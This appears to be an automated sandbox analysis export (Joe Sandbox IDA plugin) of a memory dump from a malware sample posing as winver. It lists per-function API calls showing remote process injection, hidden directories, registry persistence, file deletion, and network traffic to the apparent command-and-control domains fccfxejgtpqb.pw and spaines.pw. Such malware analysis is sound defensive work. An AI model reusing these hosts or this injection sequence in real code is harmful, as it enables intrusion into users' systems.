Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: send$closesocketrecv
String ID: fccfxejgtpqb.pw
API String ID: 3431254638-3332661483
Opcode ID: 9574067959f33b04d739d713f0caaf9cbaae1037dcd8482bb700ab3644756bfa
Instruction ID: 6841f71e62f07134866fad790052884c6829c601e12220bfc7758b285fdd1488
Opcode Fuzzy Hash: 9574067959f33b04d739d713f0caaf9cbaae1037dcd8482bb700ab3644756bfa
Instruction Fuzzy Hash: BE216F72B00114ABEB215E28CC84F5A7AE9EF44788F0545D4FF09EB294D735ED109FA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F00DE0 Relevance: 4.6, APIs: 3, Instructions: 57injectionmemorythreadCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,02F00D88,00000000,0000090B,00000000), ref: 02F00E06
WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 02F00E24
CreateRemoteThread.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000), ref: 02F00E70

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: AllocCreateMemoryProcessRemoteThreadVirtualWrite
String ID:
API String ID: 1718980022-0
Opcode ID: 20e57d88da2030ec20683870e6424b515fd74008d7ab68b95a7bc2f489d980e4
Instruction ID: ddab67570ff2000dfcb3a3ba602a6dd25ab21d20abd24e295af70045eb2888e8
Opcode Fuzzy Hash: 20e57d88da2030ec20683870e6424b515fd74008d7ab68b95a7bc2f489d980e4
Instruction Fuzzy Hash: 7D115132600205BFFF215F25CC85F963BA9EF81794F188055FE08BE199D770A521DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02F0292D Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(02F02925,00000008,?,00000000,02F02811,00000000), ref: 02F02932

Part of subcall function 02F00C9C: GetProcAddress.KERNEL32(02F02811,02F0290A), ref: 02F00CA9

WSAStartup.WS2_32(00000202,00000000), ref: 02F02957
VirtualAlloc.KERNELBASE(00000000,01400000,00003000,00000004), ref: 02F0296F
lstrcat.KERNEL32(00000000,02F0299D), ref: 02F029AC
lstrcat.KERNEL32(00000000,02F029D4), ref: 02F029E3
lstrcat.KERNEL32(00000000,02F02A0B), ref: 02F02A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02A94

Part of subcall function 02F02683: CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000), ref: 02F0269E
Part of subcall function 02F02683: GetFileSize.KERNEL32(?,00000000), ref: 02F026B7
Part of subcall function 02F02683: ReadFile.KERNELBASE(02F0298A,?,00000000,?,00000000), ref: 02F026DB
Part of subcall function 02F02683: CloseHandle.KERNEL32(02F0298A), ref: 02F026EC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02F02B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02F02B42

Strings

`nIu, xrefs: 02F02942

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: File$Deletelstrcat$AddressAllocCloseCreateHandleLibraryLoadProcReadSizeSleepStartupVirtual
String ID: `nIu
API String ID: 3655464437-1509933002
Opcode ID: 123cee287050aa4130abb0b2e68c87aa3392ee7ebd80efcf2861b6cc2cd8a842
Instruction ID: ee125d008c763b65e922deb913ec8aa6847950c085649244760556575f980a7e
Opcode Fuzzy Hash: 123cee287050aa4130abb0b2e68c87aa3392ee7ebd80efcf2861b6cc2cd8a842
Instruction Fuzzy Hash: B05154719002149EEF226B718DCCFAB76BDFF40785F0444A6AF45EA095DE349680EEB1

Uniqueness

Uniqueness Score: -1.00%

Function 02F00643 Relevance: 16.6, APIs: 11, Instructions: 143
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000), ref: 02F0065A

Part of subcall function 02F0067C: LoadLibraryA.KERNELBASE(02F00673,00000009,?,00000000), ref: 02F00681
Part of subcall function 02F0067C: lstrcmpiA.KERNEL32(?,00000000), ref: 02F006EB
Part of subcall function 02F0067C: Sleep.KERNELBASE(00001388), ref: 02F006FE
Part of subcall function 02F0067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F0071F
Part of subcall function 02F0067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00731
Part of subcall function 02F0067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00752
Part of subcall function 02F0067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00764
Part of subcall function 02F0067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00785
Part of subcall function 02F0067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00797
Part of subcall function 02F0067C: VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 02F007AB

Part of subcall function 02F026F9: CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 02F02715
Part of subcall function 02F026F9: SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 02F02732
Part of subcall function 02F026F9: WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 02F0274E
Part of subcall function 02F026F9: CloseHandle.KERNEL32(?), ref: 02F0275F

Part of subcall function 02F00811: RegCreateKeyExA.KERNELBASE(00000000,02F00840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 02F00876
Part of subcall function 02F00811: RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 02F0089D
Part of subcall function 02F00811: RegCloseKey.KERNELBASE(?), ref: 02F008A9

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: CreateFile$AttributesDirectory$Close$AllocHandleLibraryLoadMutexPointerSleepValueVirtualWritelstrcmpi
String ID:
API String ID: 2311107590-0
Opcode ID: 23fe9d41b4c0fd8f85a64b07ac5772dc61afcf4539fa5e17d3a9c2967f868177
Instruction ID: f248af9eafa8d88603038d7ab82f73c7d47eeed70a478c35015bfddb8683cc41
Opcode Fuzzy Hash: 23fe9d41b4c0fd8f85a64b07ac5772dc61afcf4539fa5e17d3a9c2967f868177
Instruction Fuzzy Hash: 485130B2504214AFDB12AB60CC88FAA77BCEF44744F05059EAB85EF085DE709690CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F0067C Relevance: 15.1, APIs: 10, Instructions: 122
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(02F00673,00000009,?,00000000), ref: 02F00681

Part of subcall function 02F00C9C: GetProcAddress.KERNEL32(02F02811,02F0290A), ref: 02F00CA9

Part of subcall function 02F02597: lstrcat.KERNEL32(02F02634,00000000), ref: 02F025DE

Part of subcall function 02F006C2: lstrcmpiA.KERNEL32(?,00000000), ref: 02F006EB
Part of subcall function 02F006C2: Sleep.KERNELBASE(00001388), ref: 02F006FE
Part of subcall function 02F006C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F0071F
Part of subcall function 02F006C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00731
Part of subcall function 02F006C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00752
Part of subcall function 02F006C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00764
Part of subcall function 02F006C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00785
Part of subcall function 02F006C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00797
Part of subcall function 02F006C2: VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 02F007AB

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$AddressAllocLibraryLoadProcSleepVirtuallstrcatlstrcmpi
String ID:
API String ID: 2102637170-0
Opcode ID: 5de239d9be66570cd2289521d95d90d9cab5e80f55aeab0bdb7006df202fe909
Instruction ID: 8b6ced52c6257eac7bc10743625d25943bd0e1b55181326e7cf6d88f68503eeb
Opcode Fuzzy Hash: 5de239d9be66570cd2289521d95d90d9cab5e80f55aeab0bdb7006df202fe909
Instruction Fuzzy Hash: 8F411FB2500214AFDF12AB60CCC8FAA77BCEF44744F05049DAB85EF085DE349680CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F006C2 Relevance: 13.6, APIs: 9, Instructions: 97
sleepmemorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiA.KERNEL32(?,00000000), ref: 02F006EB
Sleep.KERNELBASE(00001388), ref: 02F006FE
CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F0071F
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00731
CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00752
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00764

Part of subcall function 02F02597: lstrcat.KERNEL32(02F02634,00000000), ref: 02F025DE

CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00785
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00797
VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 02F007AB

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$AllocSleepVirtuallstrcatlstrcmpi
String ID:
API String ID: 2015199959-0
Opcode ID: 1c226179281e77d9add93f1d77d7a7ba9467f2847751cd0325fb52aca6bbedbc
Instruction ID: 7009c40524069369fb1c3b099d2bd595164cbaf3ff01043dba5f735b09a24b68
Opcode Fuzzy Hash: 1c226179281e77d9add93f1d77d7a7ba9467f2847751cd0325fb52aca6bbedbc
Instruction Fuzzy Hash: 2E31FFB25002149FDF16AB60CCC8FAA73ACEF44744F4504ADAB85EF085DE749680CEA9

Uniqueness

Uniqueness Score: -1.00%

Function 02F029A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,02F0299D), ref: 02F029AC

Part of subcall function 02F029DD: lstrcat.KERNEL32(00000000,02F029D4), ref: 02F029E3
Part of subcall function 02F029DD: lstrcat.KERNEL32(00000000,02F02A0B), ref: 02F02A1A
Part of subcall function 02F029DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02A94
Part of subcall function 02F029DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02F02B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02F02B42

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: a59d9b3575d39faaedf29f35c9c8ec066547d1ec0f6634f348c18150469a5b98
Instruction ID: 3ca701afb72ffdd9a6ed082a981da5c9392b0c5c14ef5d74d2706bc73805186a
Opcode Fuzzy Hash: a59d9b3575d39faaedf29f35c9c8ec066547d1ec0f6634f348c18150469a5b98
Instruction Fuzzy Hash: E04123719002189EDF226B71CDCCFAB76BDEF40745F0445A6AF45EA091DE349680EEB1

Uniqueness

Uniqueness Score: -1.00%

Function 02F02F3F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(fccfxejgtpqb.pw,00000000,02F02F2E,00000011,?,00000000,00000011,00000000,/EiDQjNbWEQ/,00000000), ref: 02F02F53

Part of subcall function 02F02F88: send.WS2_32(?,00000000,00000000,00000000), ref: 02F02FF4
Part of subcall function 02F02F88: send.WS2_32(?,02F02A30,02F02A2C,00000000), ref: 02F0300D
Part of subcall function 02F02F88: recv.WS2_32(?,02F02A30,00A00000,00000000), ref: 02F03030
Part of subcall function 02F02F88: closesocket.WS2_32(?), ref: 02F0304A

Strings

fccfxejgtpqb.pw, xrefs: 02F02F52, 02F02F5A, 02F02FDB

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: send$closesocketlstrlenrecv
String ID: fccfxejgtpqb.pw
API String ID: 1577144637-3332661483
Opcode ID: 47e1b1d1e09dae78ecab814af72e97c8beb8c55764ffd7795c611f6a9b2faa7b
Instruction ID: e59e55f8cd238cbcf5d7055b08cb8d032030521242451e78f8c501328a345ec2
Opcode Fuzzy Hash: 47e1b1d1e09dae78ecab814af72e97c8beb8c55764ffd7795c611f6a9b2faa7b
Instruction Fuzzy Hash: 12219372B00154ABEB125E24CC84F9A7BA9EF447C9F0840D4FF08AB195D735AA10AFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F00CE8 Relevance: 10.6, APIs: 7, Instructions: 64
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F00D07
Sleep.KERNELBASE(000003E8), ref: 02F00D1D
Process32First.KERNEL32(?,00000000), ref: 02F00D3D
FindCloseChangeNotification.KERNELBASE(00000000,0000090B,00000000), ref: 02F00D88
Process32Next.KERNEL32(?,?), ref: 02F00D9E
FindCloseChangeNotification.KERNELBASE(?), ref: 02F00DCA
Sleep.KERNELBASE(000003E8), ref: 02F00DD5

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: ChangeCloseFindNotificationProcess32Sleep$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1902139912-0
Opcode ID: 7ef9ee58ba518d41f3acc58a6d1fc59d2da839a49c47249353964cec8b1c453b
Instruction ID: 2cfc4efe58b5642f90d4287799fe6004f3beeaaa4275b213007965a9fec0cc9e
Opcode Fuzzy Hash: 7ef9ee58ba518d41f3acc58a6d1fc59d2da839a49c47249353964cec8b1c453b
Instruction Fuzzy Hash: 71217131902118ABEF225F14CC94BE9B7B9AF08741F0801D9EA1AEA1D5CF715A90CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02F0261C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNEL32(02F0260C,00000010,?,?,02F0298A,00000104), ref: 02F02621
lstrcat.KERNEL32(02F0298A,02F02659), ref: 02F02666
lstrcat.KERNEL32(02F0298A,02F0298A), ref: 02F02679

Part of subcall function 02F02597: lstrcat.KERNEL32(02F02634,00000000), ref: 02F025DE

Strings

\AC\, xrefs: 02F02639

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: lstrcat$EnvironmentExpandStrings
String ID: \AC\
API String ID: 2903145849-1749977576
Opcode ID: 1a1455d68d8f3bd8c3de392b281e5d27977fe7010f103cb395b91df9d1250492
Instruction ID: beac57dd5c8ee1c15dbbce058d23a0f2d23c2e185a565310de32dc9b34e7f8ed
Opcode Fuzzy Hash: 1a1455d68d8f3bd8c3de392b281e5d27977fe7010f103cb395b91df9d1250492
Instruction Fuzzy Hash: 70115BB1500508EFEF029FA0CC89EADBBB9FF10384F0440A5EE45EA061D7308A51EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F029DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,02F029D4), ref: 02F029E3

Part of subcall function 02F02A14: lstrcat.KERNEL32(00000000,02F02A0B), ref: 02F02A1A
Part of subcall function 02F02A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02A94
Part of subcall function 02F02A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02AD8
Part of subcall function 02F02A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02F02B2E
Part of subcall function 02F02A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02F02B42

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: f25f655f168d47ae09fd180d96ac9ab6615c369bbaafbdd74acb6aa40e99586a
Instruction ID: bad94de65216555a867dd756a1f8a72e1f337ff6808bb394cea6aa67cccbf29c
Opcode Fuzzy Hash: f25f655f168d47ae09fd180d96ac9ab6615c369bbaafbdd74acb6aa40e99586a
Instruction Fuzzy Hash: D74123719002599EDF226B71CDCCFAB76BDEF40789F0444A6AF45EA085DE349680DEB0

Uniqueness

Uniqueness Score: -1.00%

Function 02F02F38 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 02F02FF4
send.WS2_32(?,02F02A30,02F02A2C,00000000), ref: 02F0300D
recv.WS2_32(?,02F02A30,00A00000,00000000), ref: 02F03030
closesocket.WS2_32(?), ref: 02F0304A

Strings

fccfxejgtpqb.pw, xrefs: 02F02FDB

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: send$closesocketrecv
String ID: fccfxejgtpqb.pw
API String ID: 3431254638-3332661483
Opcode ID: 3de71ac913557117b39ba19aefa8f7a10d2ba1ba6dbe92ee6fcdf69db35a4dda
Instruction ID: 0c08ca304cab006b641f2c11d7db511eb2500ba1c5bd26652892f92f8235040b
Opcode Fuzzy Hash: 3de71ac913557117b39ba19aefa8f7a10d2ba1ba6dbe92ee6fcdf69db35a4dda
Instruction Fuzzy Hash: FD115172B00014ABEF125E28CC85F9A7BF9EF44788F0541D4FF08AA195D335E9109FA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F02A14 Relevance: 7.6, APIs: 5, Instructions: 94
filesleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,02F02A0B), ref: 02F02A1A

Part of subcall function 02F02B4D: inet_addr.WS2_32(00000000), ref: 02F02BDA
Part of subcall function 02F02B4D: gethostbyname.WS2_32(00000000), ref: 02F02BEE
Part of subcall function 02F02B4D: Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 02F02C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02F02AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02F02B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02F02B42

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: DeleteFile$Sleep$gethostbynameinet_addrlstrcat
String ID:
API String ID: 1642945479-0
Opcode ID: e8b37fd542badaf8432c301c0c7f6f955668a479b2aefd2c0e39df4bfbe44a3d
Instruction ID: e25cbe60b1bffee5149a55e253bf61ae087e64bb4c684b6d3fcc895a71bfb008
Opcode Fuzzy Hash: e8b37fd542badaf8432c301c0c7f6f955668a479b2aefd2c0e39df4bfbe44a3d
Instruction Fuzzy Hash: CE3112719002599EDF226B718DCCBAB76FCEF40789F0405E6AF45EA085DE349680DEB0

Uniqueness

Uniqueness Score: -1.00%

Function 02F02B4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(00000000), ref: 02F02BDA
gethostbyname.WS2_32(00000000), ref: 02F02BEE
Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 02F02C44

Strings

spaines.pw, xrefs: 02F02B70

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Sleepgethostbynameinet_addr
String ID: spaines.pw
API String ID: 4125869991-3306378189
Opcode ID: c9cc6fa465a78be1f47e10917d204f6e8e853b0dcedaa1fd5f228baccd3b115a
Instruction ID: 013f7c341f51ce9822f8864702cb40663b56a831b8d6658f02fefdd60a8aad3e
Opcode Fuzzy Hash: c9cc6fa465a78be1f47e10917d204f6e8e853b0dcedaa1fd5f228baccd3b115a
Instruction Fuzzy Hash: C04118B2500104AEEB11AF34C8C8BAA7BE9EF44744F058595EE45EF1C6DB309645EBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02F02C99 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(00000000), ref: 02F02BDA
gethostbyname.WS2_32(00000000), ref: 02F02BEE
Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 02F02C44

Strings

spaines.pw, xrefs: 02F02B70

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Sleepgethostbynameinet_addr
String ID: spaines.pw
API String ID: 4125869991-3306378189
Opcode ID: a686e0a2577ad44437bb4935b9685bf0ba3a9ec673925458d8bfa502b5707883
Instruction ID: 11ad93942f5f0d145cc99894309973618758721f1849ba4dd87884ac732340ef
Opcode Fuzzy Hash: a686e0a2577ad44437bb4935b9685bf0ba3a9ec673925458d8bfa502b5707883
Instruction Fuzzy Hash: 8A31E671500210AEEB12AF20CCC8BAA77E9EF44754F048595EE45EF186EB30D644EBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02F00811 Relevance: 6.1, APIs: 4, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F0086E: RegCreateKeyExA.KERNELBASE(00000000,02F00840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 02F00876
Part of subcall function 02F0086E: RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 02F0089D
Part of subcall function 02F0086E: RegCloseKey.KERNELBASE(?), ref: 02F008A9

CreateThread.KERNELBASE(00001FE4,00001FE4,00000000,00000000,00000000,00000000,?,?,?,?,00000002,?,00000000,00000000), ref: 02F00900

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Create$CloseThreadValue
String ID:
API String ID: 711899537-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 6b977f34ed457e15f4c20ef090648430ee2c397755a1f380c93f7ee0a985d850
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 5731C5724002046FEB017B709DC5FAA77ADFF01384F44416AFE85DA0E1DE7449549AB9

Uniqueness

Uniqueness Score: -1.00%

Function 02F00B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(02F00B57,0000000E), ref: 02F00B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 02F00B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 02F00B84

Part of subcall function 02F00DE0: VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,02F00D88,00000000,0000090B,00000000), ref: 02F00E06
Part of subcall function 02F00DE0: WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 02F00E24

ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 02F00BA6

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Process$Window$AllocExitFindMemoryOpenThreadVirtualWrite
String ID:
API String ID: 3233011861-0
Opcode ID: 1c0a6b39f04f013888fd52650cb507d7030a6be19416d1a6354875ae22fce905
Instruction ID: ecb0910fccacfc5ebb33e7eb7b130a615956b6dfdf141d1c8f7b7dd66f099b81
Opcode Fuzzy Hash: 1c0a6b39f04f013888fd52650cb507d7030a6be19416d1a6354875ae22fce905
Instruction Fuzzy Hash: 0211B2616443416EEF112B709DD4F667F6A6F43784B1980ADEA45DE0E3EE20C806BA38

Uniqueness

Uniqueness Score: -1.00%

Function 02F02683 Relevance: 6.0, APIs: 4, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000), ref: 02F0269E
GetFileSize.KERNEL32(?,00000000), ref: 02F026B7
ReadFile.KERNELBASE(02F0298A,?,00000000,?,00000000), ref: 02F026DB
CloseHandle.KERNEL32(02F0298A), ref: 02F026EC

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: 9ada69b04f3692008db521882e0968e7923ead0aff1f3c703ebe1070c1fb8f1c
Instruction ID: d70179389d6bfa9b4f9e6b356810d2dd97c340471ca8a65a2b3f05ab19294815
Opcode Fuzzy Hash: 9ada69b04f3692008db521882e0968e7923ead0aff1f3c703ebe1070c1fb8f1c
Instruction Fuzzy Hash: 4E01EC70A41209FFEF119FA0CC89B5D7AB5EF04B44F2041A9AE14F91E0D7709A20AF64

Uniqueness

Uniqueness Score: -1.00%

Function 02F026F9 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 02F02715
SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 02F02732
WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 02F0274E
